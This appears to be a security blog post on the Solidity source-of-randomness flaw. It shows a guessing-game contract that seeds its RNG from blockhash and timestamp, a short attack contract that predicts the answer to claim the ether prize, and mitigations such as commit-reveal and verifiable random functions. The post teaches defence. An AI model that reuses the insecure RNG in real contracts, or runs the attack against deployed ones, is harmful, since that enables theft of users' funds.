In a previous post we discussed Solidity, the programming language used to create smart contracts on the Ethereum blockchain or EVM-compatible blockchains. While Solidity has many benefits as a programming language, there are also known vulnerabilities, such as the so-called source of randomness vulnerability. In this post we’ll take a closer look at it and discuss how to mitigate its impact.
The source of randomness vulnerability occurs when an insecure method is used to generate random numbers. This can enable attackers to predict the output and manipulate the behavior of the smart contract, leading to serious security breaches. In the case of bets, for example, gaming the system can be made possible through exploiting such a vulnerability. An attacker can choose to play by interacting with a smart contract only when it is beneficial to them, based on the predictability of the result.
Randomness calculation
You can attempt to make a random number as unpredictable as possible through the use of hash functions and volatile variables, like so:
function getRandomNumber() internal view returns (uint) {
uint blockValue = uint(blockhash(block.number - 1));
uint randomNumber = uint(keccak256(abi.encodePacked(blockValue, msg.sender, block.timestamp)));
return randomNumber % 100;
}
This code generates a seemingly random number between 0 and 99 by using the previous block’s hash, the sender’s address, and the current timestamp as inputs for a hash function.
However, this result can be predicted and therefore the calculation exploited, as shown next.
Vulnerability
Suppose that, using the previous function as a random number generator (RNG) the following contract is deployed so that players can attempt to guess a number and win a prize of 1 ether:
contract RandomNumberGuess {
constructor() payable {}
function guess(uint _guess) external {
uint blockValue = uint(blockhash(block.number - 1));
uint randomNumber = uint(keccak256(abi.encodePacked(blockValue, msg.sender, block.timestamp)));
uint answer = randomNumber % 100;
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
The block hash and sender addresses can easily be calculated outside of the contract. The block timestamp however, is set by the miner. However, an attacker can exploit this contract even without being a miner by using the following code:
contract RandomNumberGuessAttack {
RandomNumberGuess game;
constructor(address _game) {
game = RandomNumberGuess(_game);
}
function attack() external {
uint blockValue = uint(blockhash(block.number - 1));
uint randomNumber = uint(keccak256(abi.encodePacked(blockValue, address(this), block.timestamp)));
uint answer = randomNumber % 100;
game.guess(answer);
}
fallback () external payable {}
}
By simply copying the RNG logic and adapting one guess
parameter the attacking contract can easily claim the prize.
This is why randomness generation based purely on variables like blockhash
or block.timestamp
aren’t considered safe.
Commit / Reveal Scheme
A more robust strategy can be adapted for RNG. This strategy is based on the Commit Reveal Scheme on Ethereum article by Austin Thomas Griffith.
This approach is also vulnerable to some attacks, but their impact is reduced and as such, results in a strategy that might be suitable for some applications.
Random numbers can be generated in 2 steps. Users can arbitrarily pick numbers (or strings, or any other type of value) then hash them and have this result written on-chain first. This is called the commit. Then, at a later point in time—a different block—the users can submit their original piece of data (the pre-hash) proving on-chain that the second step matches the first. This step is called the reveal.
To provide a better source of randomness, the pre-hash is combined with the block hash of the commit block, which isn’t available to the contract at the time of submission because the bock isn’t mined yet. In addition to this, it’s impossible for outsiders to know at the moment of the commit what the pre-hash is if the user keeps it secret.
This outputs a number that is virtually impossible to predict unless miner tampering is involved.
pragma solidity 0.8.4;
contract CommitReveal {
struct Commit {
bytes32 commit;
uint256 block;
bool revealed;
}
mapping (address => Commit) public commits;
function commit(bytes32 dataHash) public {
commits[msg.sender].commit = dataHash;
commits[msg.sender].block = block.number;
commits[msg.sender].revealed = false;
}
function reveal(bytes32 revealHash) public returns(uint) {
require(commits[msg.sender].revealed == false);
require(getHash(revealHash) == commits[msg.sender].commit);
commits[msg.sender].revealed = true;
bytes32 blockHash = blockhash(commits[msg.sender].block);
uint random = uint(keccak256(abi.encodePacked(blockHash,revealHash)));
return random;
}
// available off-line to the user as well
function getHash(bytes32 data) public view returns(bytes32){
return keccak256(abi.encodePacked(address(this), data));
}
}
The result of the reveal
function can then be used as a random number by other contracts, applications or users.
This requires user interaction and at least 2 separate steps (transactions, blocks) but is a more secure approach and not as predictable as the previous example shown.
Miner tampering & DoS
If a miner and an attacker collude by pooling together their information—the pre-hash and the block hash—they can work out what the generated number will be. Based on this, they can choose whether or not to submit a block with a transaction that results in the desired output, based on their prediction.
However, not submitting a block will result in loss of rewards, so the profit to be gained from obtaining a particular result in the randomness function must be greater than the profit obtained from mining regularly, in opposition to withholding blocks.
If sufficiently incentivized, however, a miner and an attacker can successfully exploit this vulnerability. It depends entirely on the application whether this is worth their time or not.
Similarly, although the result cannot be predicted without being or receiving help from a miner, a user can simply work out at the second step of the scheme whether the reveal
result will benefit them or not. As such, they can simply choose not to reveal their initial submission. This can have different consequences depending on the application: it can mean a random number is not generated, or it can mean a player is dropping out of a game without revealing their guess, for example.
However, users of this scheme can have confidence that if they keep their original pick secret, they can generate random numbers unless miner collusion is involved.
External solutions
There are third parties which provide sources of randomness on-chain, among them:
- ChainLink’s Verifiable Random Functions
- VeeDo’s Verifiable Delay Function
These services are not free to use, but work with different payment models. However, they have had the benefit of adoption, particularly ChainLink’s solution. Despite using off-chain components to compute their random numbers, they publish proof of the validity of these computations on-chain, so they are verifiable.
In spite of the cost, they are not vulnerable to the predictability attacks previously shown.
Conclusion
The source of randomness vulnerability is a significant issue for developers working with Solidity contracts. Third party solutions have become a reliable way to produce on-chain randomness. If not used, performing regular security assessments on your RNG logic will help ensure contract security.
Posted in Blockchain, Ethereum, Solidity